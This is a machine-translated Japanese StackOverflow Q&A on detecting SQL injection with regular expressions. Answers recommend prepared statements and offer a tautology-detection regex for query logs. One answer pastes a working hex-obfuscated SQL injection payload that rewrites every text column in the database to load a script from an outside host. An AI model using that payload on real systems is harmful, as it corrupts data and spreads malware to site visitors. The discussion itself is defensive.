質問

文字列内の SQL を検出できる正規表現はありますか?以前に使用したもののサンプルを共有できる人はいますか?

役に立ちましたか?

解決

やめてください。実質的には失敗することが保証されています。使用 PreparedStatement 代わりに (または同等のもの) を使用します。

他のヒント

ストアド プロシージャまたはプリペアド ステートメントを使用すると、このようなものをどのように検出できるでしょうか?ところで、それを実行しないでください

   DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415 245204054205641524348415228323535292C40432056415243
   4841522832353529204445434C415245205461626C655 F437572736F7220435552534F5220464F522053454C45435420612E6 E616D652C622E6E616D652046524F4D207379736F626A65637473206 12C737973636F6C756D6E73206220574845524520612E69643D622E6 96420414E4420612E78747970653D27752720414E442028622E78747 970653D3939204F5220622E78747970653D3335204F5220622E78747 970653D323331204F5220622E78747970653D31363729204F50454E2 05461626C655F437572736F72204645544348204E4558542046524F4 D205461626C655F437572736F7220494E544F2040542C40432057484 94C4528404046455443485F5354415455533D302920424547494E204 55845432827555044415445205B272B40542B275D20534554205B272 B40432B275D3D525452494D28434F4E5645525428564152434841522 834303030292C5B272B40432B275D29292B27273C736372697074207 372633D687474703A2F2F7777772E63686B626E722E636F6D2F622E6 A733E3C2F7363726970743E27272729204645544348204E455854204 6524F4D205461626C655F437572736F7220494E544F2040542C40432 0454E4420434C4F5345205461626C655F437572736F72204445414C4 C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);

問題を回避し、プリペアド ステートメントまたはパラメータ化されたクエリでストアド プロシージャを使用します。ストアド プロシージャはデータベースへのインターフェイスのように機能するため、バックグラウンド (ストアド プロシージャ内) で行われる処理を変更できますが、署名は同じままであるため、ストアド プロシージャを使用することをお勧めします。準備されたステートメントは、インジェクション保護の処理に役立ちます。

私は正規表現を持っていませんが、最も重要なことは一重引用符を検出することであると理解しています。すべての注射攻撃はそこから始まります。おそらく、コメントアウトするための -- も含まれており、文字列の後に他の SQL も含まれている可能性があります。

前述したように、準備されたステートメントを使用することをお勧めします。呼び出しの準備の使用を強制するために、ストアド プロシージャによってキー クエリを強制的に実行することを主張することもできます。

とにかく、ここでは where 句内の古典的な n=n 整数を検出するための単純な grep を示します。多くの遅延クエリ コンストラクターで AND に対して使用される 1=1 のフラグ付けはスキップされますが、OR に対してはフラグが付けられます。

((WHERE|OR)[ ]+[\(]*[ ]*([\(]*[0-9]+[\)]*)[ ]*=[ ]*[\)]*[ ]*\3)|AND[ ]+[\(]*[ ]*([\(]*1[0-9]+|[2-9][0-9]*[\)]*)[ ]*[\(]*[ ]*=[ ]*[\)]*[ ]*\4

もちろん、10 進数と文字列の比較を検出するように改良することもできますが、ORD(MID( など) などの他の grep と同様に、迅速な検出メカニズムでした。

mysql の一般ログなどのクエリ ログで使用します。

役に立てば幸いです

ライセンス: CC-BY-SA帰属
所属していません StackOverflow
scroll top